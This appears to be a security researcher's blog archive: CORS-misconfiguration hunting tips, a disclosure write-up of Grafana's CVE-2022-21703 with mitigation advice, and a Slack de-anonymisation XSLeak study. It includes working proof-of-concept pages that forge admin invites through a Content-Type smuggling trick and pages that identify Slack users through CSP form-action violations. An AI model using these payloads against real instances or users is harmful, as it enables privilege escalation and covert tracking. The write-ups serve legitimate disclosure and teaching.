I do not present the fundamentals of the CORS protocol here. If you need to familiarise yourself with the protocol, MDN Web Docs’ introduction is a good starting point.

Test resources, not just domains ¶

Not only can CORS be configured at different layers of the tech stack (reverse proxy, origin server, etc.), it can also be configured at different levels of granularity. For example, Express’s CORS middleware allows developers to configure CORS not just for the whole server, but also for individual routes. When hunting for CORS misconfigurations on a given domain, bear in mind that some resources may be CORS-aware and others not, and that different CORS-aware resources may have different CORS configurations. Testing for CORS awareness and misconfiguration of only a single path on your target domain would be a mistake, because you may fail to detect misconfigured CORS-aware resources on that domain.

Broaden your search for allowed origins ¶

Because the CORS protocol only tolerates a single serialized-origin value in the Access-Control-Allow-Origin response header, the set of allowed origins (if any) doesn’t readily reveal itself to attackers. In contrast, the script-src directive of a page’s Content Security Policy explicitly specifies sources for JavaScript that are valid for the page.

Historical note ¶

The W3C’s 2009 Working Draft about CORS did make provision for a multivalued Origin header, as did RFC 6454 (entitled “The Web Origin Concept”). However, no major browser has ever supported this feature, which led the W3C to revise its stance in its 2013 Candidate Recommendation. The Fetch Standard, which has since supplanted the latter as the official specification of the CORS protocol, does not support a multi-valued Origin header.

To even detect CORS awareness, let alone infer as much of the set of trusted origins as possible, you often have no other choice but dynamic analysis, treating the server as an oracle and repeatedly asking it yes-or-no questions, one candidate origin at a time:

Client: Do you allow this origin?

Server: No.

Client: Ok… What about that one?

Server: Nope. Keep trying.

Client: How about this other one?

Server: Yes, I do.

A good first step, according to accepted wisdom, consists in supplying the origin of the resource itself: for instance, if resource https://example.com/whatever is configured for CORS, it likely allows its own origin, https://example.com.

However, I’ve run into a few cases where resource https://example.com/whatever is configured for CORS and allows origin https://foo.example.com, but does not allow origin https://example.com or any subdomain of example.com other than foo.example.com. Had I not enumerated the subdomains of example.com and fed them to my dynamic analysis of the target, I would likely have failed to detect that it was even configured for CORS, because the responses to most of my probing requests didn’t contain any CORS response headers.

Beyond subdomains, which other origins is the resource of interest likely to allow in its CORS configuration (if any)? A promising source of candidate origins is other domains owned by your target, as well as their subdomains. A couple of reverse-WHOIS searches can reveal many of those domain names.

Don’t stop there. Meiser et al., in a fascinating 2021 paper entitled Careful Who You Trust: Studying the Pitfalls of Cross-Origin Communication, suggest that useful clues can be gleaned from your target’s /crossdomain.xml (Flash) and /clientaccesspolicy.xml (Silverlight) resources, if those resources exist on the server. In my experience, theirs is a good tip. Looking those pages up on the Wayback Machine may also yield a few additional candidate origins. Furthermore, as Meiser et al. rightly point out, the listing of https://a.com in the connect-src CSP directive of https://b.com is a good indication that https://a.com allows origin https://b.com in its CORS configuration.

Unescaped periods in the eTLD+1 part of a regexp ¶

Many CORS configurations that intend to allow multiple origins rely on some regular expression for origin validation. In some cases, the regexp is flawed, insofar as it matches more origins than intended by the developers. A common blunder consists in using unescaped periods to represent DNS label separators in the regexp.

Through dynamic analysis of your target, you may be able to infer that the developers, in order to allow https://example.com and arbitrary subdomains thereof, are using something like the following regexp for origin validation:

^https:\/\/(.*\.)?example.com$

Note that the period separating the subdomain DNS label from the eTLD+1 (example.com) is escaped as it should, which precludes attacks from origins like https://notexample.com. If you cannot find some XSS or subdomain takeover on a subdomain of example.com, you should give up and focus your efforts elsewhere.

Attentive readers may have noticed the presence of an unescaped period between the TLD (com) and second-level domain (example). Is this tantalising omission of an escape exploitable in some way? Unfortunately, the public-suffix list contains no entry that starts with example followed by a single character followed by com (at least, at the time of writing this post). Therefore, acquiring a domain name like attacker.examplezcom is impossible, unless you’re willing to go through the arduous and expensive process of registering a brand-new examplezcom eTLD for yourself.

However, in cases where the eTLD of the allowed origin is composed of, not just one, but multiple DNS labels, everything’s not lost. For instance, assume now that the following regexp is used for origin validation:

^https:\/\/(.*\.)?example.co.uk$

Note that the part of the regexp corresponding to the eTLD+1 contains two unescaped periods. The second unescaped period (the one between co and uk) is unexploitable, for the same reason as explained above. The first unescaped period (the one between example and co) is much more promising, because uk is itself a public suffix, and a domain like examplezco.uk, whose secure origin matches the regexp, is probably available for purchase. If the price for that domain isn’t prohibitive, you can buy it and mount your attack against your target from there.

Admittedly, because public suffixes that are composed of multiple DNS labels (co.uk, in my example) and for which a less specific public suffix exists (uk) are relatively rare, exploitable cases of unescaped periods within the eTLD+1 part of a regexp are even rarer. To this day, I’ve never come across one; and even infosec superstar James Kettle confessed to me that they’ve so far eluded him. But you should leave no stone unturned. In fact, the possibility of such a vulnerability should further spur you to broaden your search for domains allowed by your target’s CORS configuration.

CORS vs. SameSite ¶

CORS-aware resources that are meant to allow reliable cross-site access now need session-identifying cookies to be explicitly (i.e. rather than relying on browsers’ defaults) set with SameSite=None and Secure.

However, contrary to what you may have read elsewhere, legitimate use cases for the stricter Lax and Strict values in conjunction with CORS do exist. Developers who wish to protect their CORS-aware resources against cross-site attacks but nonetheless allow (all or some) same-site origins may indeed set their cookie with either of those two SameSite values. Because the SameSite attribute only affects cross-site requests, same-site requests do unconditionally carry such a cookie.

If you find yourself in a situation where the cookie is marked Lax or Strict, don’t dismiss the possibility of abuse too quickly. Seek instances of cross-site scripting or subdomain takeover on those same-site origins that the CORS-aware resource trusts, as Sam Curry once did to great effect:

This was the saving grace which let me exploit a CORS misconfig which leaked the session token. Very sad to see SameSite cookies but it’s definitely a fun new challenge :)

More about this subtlety in one of my previous posts.

Acknowledgments ¶

I’d like to thank Alesandro Ortiz, who was kind enough to review a draft of this post before publication.

CVE-2022-21703: cross-origin request forgery against Grafana

Tue, 08 Feb 2022 16:00:00 +0000

This post is a writeup about CVE-2022-21703, which is the result of a collaborative effort between bug-bounty hunter abrahack and me. If you use or intend to use Grafana, you should at least read the following section.

CVE-2022-21703 in a nutshell ¶

About Grafana ¶

Grafana is a popular open-source tool that describes itself thus:

Grafana allows you to query, visualize, alert on and understand your metrics no matter where they are stored. Create, explore, and share beautiful dashboards with your team and foster a data driven culture.

Grafana Labs offers managed Grafana instances, but you can also deploy Grafana as a self-hosted instance. An indicator of its popularity is that recent versions of such widely used tools as Gitlab and SourceGraph ship with Grafana.

Core findings ¶

Grafana (prior to v7.5.15, as well as v8.x.x versions prior to v8.3.5) is vulnerable to cross-origin request forgery.
All GET- and POST-based endpoints of Grafana’s HTTP API are affected.
By leveraging some same-site vulnerability, an anonymous attacker can, for example, trick an authenticated high-privilege Grafana user into escalating the attacker’s privileges on the targeted Grafana instance.
Grafana instances that have been configured to allow frame embedding of authenticated dashboards are at increased risk of cross-origin attacks.

Mitigation ¶

Regardless of your situation and mitigation approach, you should subsequently audit your Grafana instances for suspicious activity. Attackers aware of the possibility of cross-origin attacks may have already carried such attacks against your Grafana instances.

Update Grafana ¶

If you can, update your Grafana instance to v7.5.15 or v8.3.5. At the time of writing this post, I have not had the opportunity to review Grafana’s fix, but it should protect you from CVE-2022-21703, regardless of your configuration.

In case you cannot update ¶

If you cannot update Grafana immediately, efficient protection against CVE-2022-21703 is more difficult to achieve. Consider blocking all cross-origin requests against your Grafana instance at the reverse-proxy level; I’m conscious this isn’t possible in all cases, though.

If, perhaps in order to enable frame embedding of your Grafana dashboards, you’ve deviated from Grafana’s default configuration and have set

the cookie_samesite property to none,
the cookie_secure property to true,

you’re at increased risk, because attacks are viable from any origin (not just from same-site origins). In that case, take these measures:

Consider hiding your Grafana instance behind a VPN. That won’t stop cross-origin attackers if they already know where your Grafana instance lives, but desperate times call for desperate measures like security through obscurity.
Warn your staff of possible phishing attacks in the coming days.
Continually monitor sensitive activity in your Grafana instance (addition of high-privilege users, etc.).

If you’ve set the cookie_samesite property to disabled, warn your Grafana users to avoid browsers that don’t yet default to Lax for the SameSite cookie attribute (Safari, most notably); favour Chromium-based browsers or Firefox.

If the cookie_samesite property is set to lax (default) or strict, you should scrutinise the security of your subdomains. Rule out the possibility of cross-site scripting (XSS) or subdomain takeover on all Web origins that are same-site with respect to the Web origin where your Grafana instance lives.

More details ¶

Genesis of our research ¶

Inspired by recent vulnerabilities found in Grafana, especially Justin Gardner’s full-read SSRF (CVE-2021-13379) and Jordy Versmissen’s path traversal (CVE-2021-43798), we decided to hunt for hitherto overlooked security bugs in the popular visualisation tool. Where should we look first?

Several influential infosec figures (Troy Hunt, most notably) were quick to pronounce cross-site request forgery (CSRF) dead, as both Chromium and Firefox started to default to Lax for the value of the SameSite cookie attribute. In my experience, though, this announcement is, at best, an approximation; at worst, a deceptive and harmful exaggeration.

In particular, the recent shift in meaning experienced by the term site has complicated the discourse about cross-origin attacks. Back in the day when the term cross-site request forgery was coined, site did not have the more precise meaning it now enjoys. CSRF was an umbrella term for all state-changing request-forgery attacks issued from a different Web origin. Many practitioners still use CSRF in that way, often omitting to mention that the SameSite cookie attribute was only ever intended as a defence-in-depth mechanism and that it is powerless against cross-origin, same-site attacks. I’ve written extensively about this topic in one of my earlier blog posts.

Another source of frequent confusion is cross-origin resource sharing (CORS), a protocol for selectively relaxing some of the Same-Origin Policy’s restrictions. Many developers notoriously do not have a firm grasp of CORS, and incorrect assumptions about that protocol are fodder for cross-origin abuse by more savvy attackers.

These considerations about SameSite and CORS naturally led us to scrutinise Grafana’s defences against cross-origin attacks.

A proof of concept ¶

The proof of concept below demonstrates that, by mounting a same-site attack against a Grafana instance using the default configuration, an attacker can trick the Grafana Admin into inviting the attacker as an Organization Admin.

Run a local instance of Grafana Enterprise (<= v8.3.4) in Docker; I’m binding it to port 3000, in this case:
```
docker run -d -p 3000:3000 grafana/grafana-enterprise:8.3.2
```
As the victim, visit http://localhost:3000/login and authenticate as the Grafana Admin (admin) with the default password (admin). Grafana will prompt you to reset the password; you can safely skip this step. You should now be logged in as the Grafana Admin.
Visit http://localhost:3000/org/users; at this stage, there should be no pending user invites listed on that page.

Save the following malicious code snippet to a file named index.html:


<html>
  <head>
    <meta charset="utf-8">
  head>
  <body>
    <script>
      function csrf(name, email) {
        const url = "http://localhost:3000/api/org/invites";
        const data = {
          "name": name,
          "loginOrEmail": email,
          "role": "Admin",
          "sendEmail": false
        };
        const opts = {
          method: "POST",
          mode: "no-cors",
          credentials: "include",
          headers: {"Content-Type": "text/plain; json"},
          body: JSON.stringify(data)
        };
        fetch(url, opts);
      }
      csrf("attacker", "attacker@example.com");
    script>
  body>
html>

As the victim, open file index.html in the same browser. Observe that the page issues a request to http://localhost:3000/api/org/invites that does not carry the grafana_session cookie, because the issuing origin (null) is not same-site with respect to the destination origin (http://localhost:3000). Therefore, the server responds with a 401 Unauthorized response, and the attack fails.
Now bind a HTTP server to a different port (8081, here) on localhost in order to serve the same malicious page. If Go is installed on your machine, you can simply save the following code snippet to a file named main.go (in the same folder as index.html),
```
package main

import "net/http"

func main() {
  http.Handle("/", http.FileServer(http.Dir(".")))
  http.ListenAndServe(":8081", nil)
}
```
and then start that server by running
```
go run main.go
```
As the victim, visit http://localhost:8081. Observe that, this time (contrary to step 5 of this PoC), the forged request to http://localhost:3000/api/org/invites does carry the grafana_session cookie, because the issuing origin (http://localhost:8081) is same-site with respect to the destination origin (http://localhost:3000). The server responds with a 200 OK response, an indication that the attack succeeded.
Confirm the attack’s success by revisiting http://localhost:3000/org/users; there should now be a new pending user invite for the attacker.

Unconvinced? ¶

This local proof of concept may not be enough to convince you of the attack’s viability in a more realistic scenario. In that case, follow the same steps but, instead,

deploy Grafana to a secure origin that you control (e.g. https://grafana.example.com), and
deploy the malicious page to some same-site origin (e.g. https://attack.example.com).

Root-cause analysis ¶

The possibility of cross-origin request forgery against Grafana mainly stems from an overreliance on the SameSite cookie attribute, weak content-type validation, and incorrect assumptions about CORS.

SameSite and its limitations ¶

Any forged request against the Grafana API needs to be authenticated to be useful. Unfortunately for attackers, Grafana has been explicitly marking its grafana_session cookie as SameSite=Lax by default since v6.0. As a result, the request forged by the attacker will only carry the grafana_session cookie if it fulfils either of the following two conditions:

be a top-level navigation, or
be a same-site request.

The first condition limits the attacker to GET requests. Grafana’s HTTP API does feature some GET-based state-changing endpoints (e.g. /logout), but their impact is typically too low to be interesting to attackers.

You may perceive the second condition as a tall order. If you do, you’d surprised by the sheer number of organisations—even ones with an active bug-bounty programme—that are quite content to live with some XSS vulnerability or a potential subdomain takeover on some obscure (and possibly out-of-scope) subdomain. We identified multiple such bug-bounty targets during our research, and we surely cannot lay claim to exhaustiveness…

Besides, some Grafana admins may choose to relax Grafana’s default SameSite value and configure their instance so as to allow frame embedding of authenticated dashboards, by setting

the allow_embedding property to true,
the cookie_samesite property to none,
the cookie_secure property to true.

Such Grafana instances are vulnerable to good old CSRF. The attacker’s malicious page can indeed be hosted on any origin, because all requests to the Grafana API will carry the precious authentication cookie, regardless of the request’s issuing origin.

Finally, some Grafana administrators may choose to set the cookie_samesite property to disabled, in order to omit the SameSite attribute when setting the authentication cookie. People who authenticate to such Grafana instances in Safari are also at risk of CSRF, because Safari still defaults to None for the SameSite attribute.

Interestingly, Grafana developers seemed aware that SameSite alone provided insufficient protection against cross-origin attacks. Subsequently to the v6.0 release, they actually opened a pull request in a bid to add anti-CSRF tokens, only to reverse course and ultimately abandon that PR, against well-founded objections in a later comment.

Bypassing content-type validation and avoiding CORS preflight ¶

Our initial attempts at cross-origin request forgery against Grafana involved an auto-submitting HTML form:


<html>
  <head>
    <meta charset="utf-8">
  head>
  <body>
    <form action="http://localhost:3000/api/org/invites" method="POST">
      <input name="name" value="attacker">
      <input name="loginOrEmail" value="attacker@example.com">
      <input name="role" value="Admin">
      <input name="sendEmail" value="false">
    form>
    <script>
      document.forms[0].submit();
    script>
  body>
html>

This form submission resulted in a 422 Unprocessable Entity with the following JSON body:

[{
  "fieldNames": ["LoginOrEmail"],
  "classification": "RequiredError",
  "message":"Required"
}]

This error message was a bit puzzling to us, because the loginOrEmail field was present in the body of our forged request. Overriding the form’s default enctype with multipart/form-data yielded the same response. An enctype of text/plain yielded a 415 Unsupported Media Type, though. Interesting… Was that a sign that the Grafana API only accepted JSON requests? The next step in our black-box tests involved using the Fetch API to issue a simple request with a valid JSON body:


<html>
  <head>
    <meta charset="utf-8">
  head>
  <body>
    <script>
      function csrf(name, email) {
        const url = "http://localhost:3000/api/org/invites";
        const data = {
          "name": name,
          "loginOrEmail": email,
          "role": "Admin",
          "sendEmail": false
        };
        const opts = {
          method: "POST",
          mode: "no-cors",
          credentials: "include",
          body: JSON.stringify(data)
        };
        fetch(url, opts);
      }
      csrf("attacker", "attacker@example.com");
    script>
  body>
html>

The corresponding response was, like the form-based attack with text/plain, a 415 Unsupported Media Type. Evidently, the Grafana API was performing some validation of requests’ content type. To confirm our intuition, we pasted the following code—pay attention to line 13—in the Console tab of the browser window in which we were authenticated to Grafana:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


function csrf(name, email) {
  const url = "http://localhost:3000/api/org/invites";
  const data = {
    "name": name,
    "loginOrEmail": email,
    "role": "Admin",
    "sendEmail": false
  };
  const opts = {
    method: "POST",
    mode: "no-cors",
    credentials: "include",
    headers: {"Content-Type": "application/json"},
    body: JSON.stringify(data)
  };
  fetch(url, opts);
}
csrf("attacker", "attacker@example.com");

The response was a 200 OK, and our hearts sank… This response confirmed our suspicion that the API was expecting a content type of application/json, or at least something like it. Because we were executing the attack in the context of our Grafana instance’s Web origin, the attack was successful, but we knew that things wouldn’t be quite as simple if the same attack were performed from a different (even if same-site) origin.

Why? Because, according to the Fetch standard, a value of application/json for the content type of a cross-origin request is indeed such as to cause browsers to trigger CORS preflight; and Grafana, much to the chagrin of some of its users, is not configured or configurable for CORS. Therefore, CORS preflight would fail, and the browser would never send the actual (malicious) request. We had seemingly hit a brick wall… but there was one last glimmer of hope!

You may have read that including a Content-Type header with a value other than

application/x-www-form-urlencoded,
multipart/form-data, or
text/plain

in a request will trigger CORS preflight. In fact, until recently, such an authoritative source as MDN Web Docs stated as much. Over the years, this statement has been repeatedly echoed verbatim on the Web, including in some highly upvoted answers on Stack Overflow.

However, this statement is incorrect; the Fetch standard only requires that the essence of the MIME type specified as the request’s content type be one of those three values. A little known fact is that you can actually smuggle additional stuff in the MIME type’s parameters without triggering CORS preflight. And if the server’s content-type validation happens to be weak, an attacker can use this smuggling trick to bypass it.

With our fingers crossed, we modified our same-site attack and implemented this trick (see line 20):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28



<html>
  <head>
    <meta charset="utf-8">
  head>
  <body>
    <script>
      function csrf(name, email) {
        const url = "http://localhost:3000/api/org/invites";
        const data = {
          "name": name,
          "loginOrEmail": email,
          "role": "Admin",
          "sendEmail": false
        };
        const opts = {
          method: "POST",
          mode: "no-cors",
          credentials: "include",
          headers: {"Content-Type": "text/plain; application/json"},
          body: JSON.stringify(data)
        };
        fetch(url, opts);
      }
      csrf("attacker", "attacker@example.com");
    script>
  body>
html>

We got a 200 OK response, and the /org/users page listed a new invite in the attacker’s name! Success!

Before reporting our findings to Grafana, we decided to dig deeper and inspect Grafana’s codebase to understand what exactly was going on. Grafana, up until v8.3.2, relied on go-macaron/binding to process requests. Here is the relevant function, named bind:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


func bind(ctx *macaron.Context, obj interface{}, ifacePtr ...interface{}) {
  contentType := ctx.Req.Header.Get("Content-Type")
  if ctx.Req.Method == "POST" || ctx.Req.Method == "PUT" || len(contentType) > 0 {
    switch {
    case strings.Contains(contentType, "form-urlencoded"):
      ctx.Invoke(Form(obj, ifacePtr...))
    case strings.Contains(contentType, "multipart/form-data"):
      ctx.Invoke(MultipartForm(obj, ifacePtr...))
    case strings.Contains(contentType, "json"):
      ctx.Invoke(Json(obj, ifacePtr...))
    default:
      var errors Errors
      if contentType == "" {
        errors.Add([]string{}, ERR_CONTENT_TYPE, "Empty Content-Type")
      } else {
        errors.Add([]string{}, ERR_CONTENT_TYPE, "Unsupported Content-Type")
      }
      ctx.Map(errors)
      ctx.Map(obj) // Map a fake struct so handler won't panic.
    }
  } else {
    ctx.Invoke(Form(obj, ifacePtr...))
  }
}

Observe (at lines 9-10) that a request whose content type merely contains the string json gets accepted and that JSON deserialisation of the request’s body proceeds normally. Go developers, if you need to validate the Content-Type header, do favour the more specialised mime.ParseMediaType function over strings.Contains and friends!

Note: Grafana v8.3.3 actually ripped out go-macaron/binding altogether from its codebase, and doesn’t perform any validation of requests’ content-type. Even easier for attackers!

Timeline ¶

November 2021: beginning of my collaboration with abrahack
late December 2021: first working proof of concept for cross-origin request forgery against Grafana
early January 2022: We research the attack’s viability against bug-bounty targets.
18th of January 2022:
- We share our findings with Grafana Labs.
- We file a report to Gitlab’s bug-bounty programme on HackerOne.
- Grafana Labs acknowledges our report and kindly ask us not to disclose our findings until they have a fix in their pipeline.
20th of January 2022: Grafana Labs notify us that they have requested CVE-2022-21703.
21st of January 2022:
- We enlist Nagli’s help to find more viable targets.
- We escalate the attack to full account takeover on Gitlab, which we report to them.
- Gitlab closes our report as “informative” 🤷
8th of February 2022:
- Grafana Labs release a security fix for CVE-2022-21703 in Grafana v7.5.15 and v8.3.5.
- Publication of the present blog post.
- We resume notifying bug-bounty targets.

Abusing Slack's file-sharing functionality to de-anonymise fellow workspace members

Tue, 12 Oct 2021 09:00:00 +0000

In this post, I show how a malicious member of a Slack workspace can exploit a cross-site leak in Slack’s file-sharing functionality in order to efficiently de-anonymise fellow workspace members when they visit the attacker’s website in Chromium-based browsers.

TL;DR ¶

I discovered a navigation-related XSLeak technique that resists SameSite=Lax.
Slack’s Web client suffers from a cross-site leak linked to its file-sharing functionality.
An attacker can de-anonymise a fellow member of their Slack workspace among n others in no more than O(log n) HTTP requests.
Impact includes leaking the victim’s IP address and browser fingerprint, as well as facilitating spearphishing attacks.
Slack has no plans to fix it.

Cross-site leaks ¶

Side-channels attacks are fascinating. You may remember how, back in 2014, MIT researchers were able to partially recover speech from the footage captured by a high-speed camera trained on a bag of crisps. Though usually much less spectacular, similar attacks are possible within Web browsers.

The Same-Origin Policy, browser security’s cornerstone, does provide tight isolation between different Web origins, and further isolation mechanisms have been implemented over the years; but security researchers have demonstrated, time and time again, that the barrier between origins is in practice more porous than meets the eye. The techniques consisting in working around the SOP to leak data from one origin to another are collectively known as cross-site leaks, or XSLeaks for short.

Bug-bounty hunters, don’t get too excited: you likely won’t get rich quickly by making XSLeaks the focus of your infosec work. Many bug-bounty programmes outright dismiss the impact of XSLeaks as negligible, whereas others, such as Google’s and the blue site that shall not be named’s, reward reports of XSLeaks only on a case-by-case basis.

Nevertheless, the study of XSLeaks is interesting in its own right, because it naturally leads to a deeper understanding of browser misfeatures and implementation quirks.

Leaky images ¶

A few months ago, as I was catching up on the latest research about XSLeaks, my eye fell upon some interesting research conducted at TU Darmstadt by Staicu and Pradel, which they presented at USENIX in 2019. The paper, entitled Leaky Images: Targeted Privacy Attacks in the Web, demonstrates how, under certain conditions, attackers can abuse a service’s image-sharing functionality for de-anonymising users across origins. Indeed, if the service in question

relies on cookies for session management, and
allows authenticated access to a shared image via the same URL to all parties concerned,

then an attacker who knows the resulting URL can abuse it as some kind of tracker or Web beacon.

Although the attacker doesn’t control the server at the end of that URL, a malicious page of their design can act as an oracle for questions like

Is the current visitor of the malicious page logged in as @alice?

All the malicious page has to do is forge requests to one or more shared images and somehow detect, through XSLeak techniques, whether access by the current visitor was successful.

This privacy attack is more powerful, in terms of stealth and scalability, than simply sharing some unique link in a direct message (DM) to the victim and waiting for her to visit the URL: unless she’s tech-savvy and inspects the source code of the malicious page, the victim is unlikely to realise that the malicious page’s objective is to de-anonymise her on some unrelated service; moreover, the attack can often be optimised to target a large number of users without having to share many images or forge many HTTP requests.

The Leaky Images paper reviewed several prominent sites that provide an image-sharing functionality, and concluded that alarmingly many of them, including Facebook, the blue site that shall not be named, Google, and Microsoft Live, were vulnerable to this kind of privacy attacks.

Leaky resources on Slack ¶

As I was reading the Leaky Images paper, I realised that it omitted one popular messaging service that provides a Web client and allows its users to share images: Slack. After a short investigation in one of my dummy Slack workspaces, I came to the conclusion that Slack’s Web client too is vulnerable to leaky-image attacks—or rather leaky-resource attacks, as the resources shared by the attacker with their victims on Slack need not be images.

Indeed, when Mallory (the attacker) shares a file named foo.txt in a DM to Alice (their victim), Slack generates a URL of the following form,

https://files.slack.com/files-pri/TXXXXXXXX-FAAAAAAAAAA/download/foo.txt

where TXXXXXXXX stands for the team/workspace ID and FAAAAAAAAAA stands for the file ID. What happens when one visits the URL in question depends on one’s browser state:

If either Alice or Mallory visit the URL when they’re logged into the Slack workspace in question, a download of the shared file is triggered in their browser.
If some authenticated user other than Alice or Mallory visits the URL, a 302 HTTP redirect loop (from the download URL to https://TEAM_SUBDOMAIN.slack.com/?redir=%2Ffiles-pri%2FTXXXXXXXX-FAAAAAAAAAA%2Ffoo.txt to the download URL, and so on and so forth) occurs, which the browser soon cuts short.
If some anonymous visitor accesses the URL, they simply get redirected to https://TEAM_SUBDOMAIN.slack.com/?redir=%2Ffiles-pri%2FTXXXXXXXX-FAAAAAAAAAA%2Ffoo.txt.

Mallory can leverage this state-dependent behaviour to infer whether the current visitor of their malicious page is Alice.

Bypassing SameSite defences ¶

One difficulty in producing a proof of concept is that, because Slack’s session identifier consists of a cookie (named d) that is marked SameSite=Lax, the shared resource can only be accessed via a top-level navigation, and not via JavaScript. Therefore, Mallory must rely solely on top-level navigations, as no other cross-site request to the URL will carry that d cookie.

But there’s always a way! Mallory’s malicious page can simply update the window.location variable and sleep for a short while, to leave enough time for the server to respond. If anyone other than Mallory or Alice visits Mallory’s page, their browser will simply follow the redirect before the sleep is over. In contrast, if Alice visits Mallory’s page while authenticated to Slack, her browser will initiate a download of the shared file instead of navigating away from Mallory’s page, and the remainder of the JavaScript code on the page will notify Mallory of Alice’s visit.


<html>
  <head>
    <meta charset="utf-8">
  head>
  <body>
    <script>
      function sleep() {
        const ms = 10000;
        return new Promise(resolve => setTimeout(resolve, ms));
      }
      function notifyOfVisitByAlice() {
        const h1 = document.createElement("h1");
        document.body.appendChild(h1);
        h1.innerText = `Hi there, Alice!`;
      }
      async function test() {
        window.location = "https://files.slack.com/files-pri/TXXXXXXXXXX-FAAAAAAAAAA/download/foo.txt"
        await sleep();
        notifyOfVisitByAlice();
      }
      test();
    script>
  body>
html>

Of course, in practice, the notifyOfVisitByAlice function would consist in sending a request to some server that Mallory controls rather than changing the DOM, but you get the idea.

Targeting multiple users ¶

Targeting a single user is a bit boring, though. Could the de-anonymisation attack instead target multiple Slack users, who would get de-anonymised through a single visit to their malicious page? One issue with the approach outlined above is that, in the case where no download gets triggered, a redirect occurs instead, taking the victim away and robbing the malicious page of the opportunity to issue further requests.

I needed a way of somehow “cancelling” top-level navigations. Where should I look first? The Content-Security-Policy (CSP) specification does suggest that a directive named navigate-to would do the trick, but none of the prominent browsers have elected to ship it. Faced with a dead end, I shelved my investigation for a while, until I discovered a useful XSLeak technique…

A novel XSLeak technique to the rescue ¶

Surprisingly perhaps, a GET-based HTML-form submission counts as a top-level navigation; as such, it carries cookies marked SameSite=Lax. Besides, Content Security Policy provides a way of defining an allowlist for form submissions through the use of its form-action directive; and, in Chromium-based browsers (as opposed to Firefox and Safari), that directive happens to be enforced even on HTTP redirects.

Putting this all together: a third-party site can detect the occurence of a cross-origin server-side redirect, even if this redirect requires, in order to occur, the presence of some SameSite=Lax cookie in the initial request. I’ve since documented this technique on xsleaks.dev. Prior research about abusing CSP to leak data to another origin does exist, including Egor Homakov’s, awesome as always. Unless I’m missing something, though, abusing form-action as described in this post is a novel technique.

Here is how I refined my initial proof of concept:


<html>
  <head>
    <meta charset="utf-8">
    <meta http-equiv="Content-Security-Policy"
          content="form-action https://files.slack.com">
  head>
  <body>
    <form name="myForm"
          action="https://files.slack.com/files-pri/TXXXXXXXXXX-FAAAAAAAAAA/download/foo.txt">
    form>
    <script>
      function sleep() {
        const ms = 1000;
        return new Promise(resolve => setTimeout(resolve, ms));
      }
      function notifyOfVisitByAlice() {
        const h1 = document.createElement("h1");
        document.body.appendChild(h1);
        h1.innerText = `Hi there, Alice!`;
      }
      function browserIsNotSupported() {
        // see https://developer.mozilla.org/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent
        return navigator.userAgent.includes('Firefox/') &&
          !navigator.userAgent.includes('Seamonkey/') ||
          navigator.userAgent.includes('Safari/') &&
          !navigator.userAgent.includes('Chrome/') &&
          !navigator.userAgent.includes('Chromium/');
      }
      async function test() {
        if (browserIsNotSupported()) {
          return;
        }
        var violation = false;
        window.addEventListener('securitypolicyviolation', () => {
          violation = true;
        });
        myForm.submit();
        await sleep();
        if (!violation) {
          notifyOfVisitByAlice();
        }
      }
      test();
    script>
  body>
html>

I could then readily adapt my proof of concept to target multiple users; in this case, Alice and Bob:


<html>
  <head>
    <meta charset="utf-8">
    <meta http-equiv="Content-Security-Policy"
          content="form-action https://files.slack.com">
  head>
  <body>
    <form name="myForm">form>
    <script>
      const trackers = [
        {
          "url": "https://files.slack.com/files-pri/TXXXXXXXXXX-FAAAAAAAAAA/download/foo.txt",
          "username": "Alice"
        },{
          "url":"https://files.slack.com/files-pri/TXXXXXXXXXX-FBBBBBBBBBBB/download/foo.txt",
          "username": "Bob"
        }
      ];
      function sleep() {
        const ms = 1000;
        return new Promise(resolve => setTimeout(resolve, ms));
      }
      function notifyOfVisitBy(username) {
        const h1 = document.createElement("h1");
        document.body.appendChild(h1);
        h1.innerText = `Hi there, ${username}!`;
      }
      function browserIsNotSupported() {
        // see https://developer.mozilla.org/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent
        return navigator.userAgent.includes('Firefox/') &&
          !navigator.userAgent.includes('Seamonkey/') ||
          navigator.userAgent.includes('Safari/') &&
          !navigator.userAgent.includes('Chrome/') &&
          !navigator.userAgent.includes('Chromium/');
      }
      async function test() {
        if (browserIsNotSupported()) {
          return;
        }
        var violation = false;
        var username = "anonymous";
        window.addEventListener('securitypolicyviolation', () => {
          violation = true;
        });
        for (var i = 0; i < trackers.length; i++) {
          myForm.action = trackers[i].url;
          myForm.submit();
          await sleep();
          if (!violation) {
            username = trackers[i].username;
            break;
          }
          violation = false;
        }
        notifyOfVisitBy(username);
      }
      test();
    script>
  body>
html>

If the attacker is in a position to create a “burner” Slack account, maximum stealth can be achieved. After sharing the required resources with their victims, the attacker can quickly deactivate the burner account; and, crucially,

[p]eople aren’t notified when their accounts are deactivated, nor are their messages or files deleted

but the notifications received by the victims will disappear from their Web clients!

On the other hand, the approach doesn’t scale well: it has a worst-case time complexity of O(n), where n is the number of targeted users. In plain English, the attacker must share n resources, one resource per targeted user—which could probably be automated, though—and their malicious page must, in the worst case, send as many as n HTTP requests.

Optimising the de-anonymisation attack against multiple users ¶

An alternative, more efficient though more obtrusive, approach is possible. Slack supports group direct messages; in other words, more than two people can take part in a direct-message conversation. As outlined in section 3.3 of the Leaky Images paper, an attacker can leverage this functionality to de-anonymise one targeted user among n others by sharing no more than O(log n) resources (ceil(log(n)/log(2)), to be exact) and sending no more than O(log n) HTTP requests from their malicious page.

The trick consists in assigning a unique bit vector to each targeted user—reserving the zero bit vector for anonymous visitors and untargeted users. For instance, if Mallory were targeting three of their fellow workspace members (Alice, Bob, and Carol), they could associate each one of them to a unique 2-bit vector:

user                 | bit vector
---------------------|-----------
anonymous/untargeted | 00
Alice                | 01
Bob                  | 10
Carol                | 11

To each position in the bit vector corresponds a resource shared among all targeted users for which that bit is set (and nobody else). In this particular example, Mallory would share one resource with both Alice and Carol, and another resource with both Bob and Carol. By testing whether the current visitor has access to each resource, Mallory’s malicious page can compute the bit vector corresponding to the visitor:


<html>
  <head>
    <meta charset="utf-8">
    <meta http-equiv="Content-Security-Policy"
          content="form-action https://files.slack.com">
  head>
  <body>
    <form name="myForm">form>
    <script>
      const trackers = [
